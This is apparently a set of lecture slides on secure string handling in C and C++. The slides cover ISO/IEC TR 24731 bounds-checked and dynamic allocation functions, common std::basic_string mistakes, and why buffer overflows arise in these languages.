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Dynamic Allocation Functions 
Because the use of such functions requires introducing 
additional calls to free the buffers later, these functions are 
better suited to new developments than to retrofitting existing 
code. 
In general, the functions described in ISO/IEC TR 24731-2 
provide greater assurance that buffer overflow problems will 
not occur, because buffers are always automatically sized to 
hold the data required.  
Applications that use dynamic memory allocation might, 
however, suffer from denial of service attacks where data is 
presented until memory is exhausted.   
They are also more prone to dynamic memory management 
errors, which can also result in vulnerabilities [Seacord 2005]. 
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std::basic_string 

The callee allocates, callee frees model is supported 
by the C++ std::basic_string class. 
The basic_string class is less prone to security 
vulnerabilities than null-terminated byte strings.  
However, some mistakes are still common: 

• using an invalidated or uninitialized iterator 
• passing an out-of-bounds index 
• using an iterator range that really  

isn’t a range 
• passing an invalid iterator position 
• using an invalid ordering 
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Summary 
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String Summary 
Buffer overflows occur frequently in C and C++ because 
these languages  

• use null-terminated byte strings 
• do not perform implicit bounds checking 
• provide standard library calls for strings that do not enforce 

bounds checking 
The basic_string class is less error prone for C++ 
programs. 
String functions defined by ISO/IEC “Security” TR 24731-1 
are useful for legacy system remediation. 
New C language development might consider using dynamic 
allocation functions, or other managed string libraries. 
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Questions 
about 
Strings 

Questions  
about 
strings 
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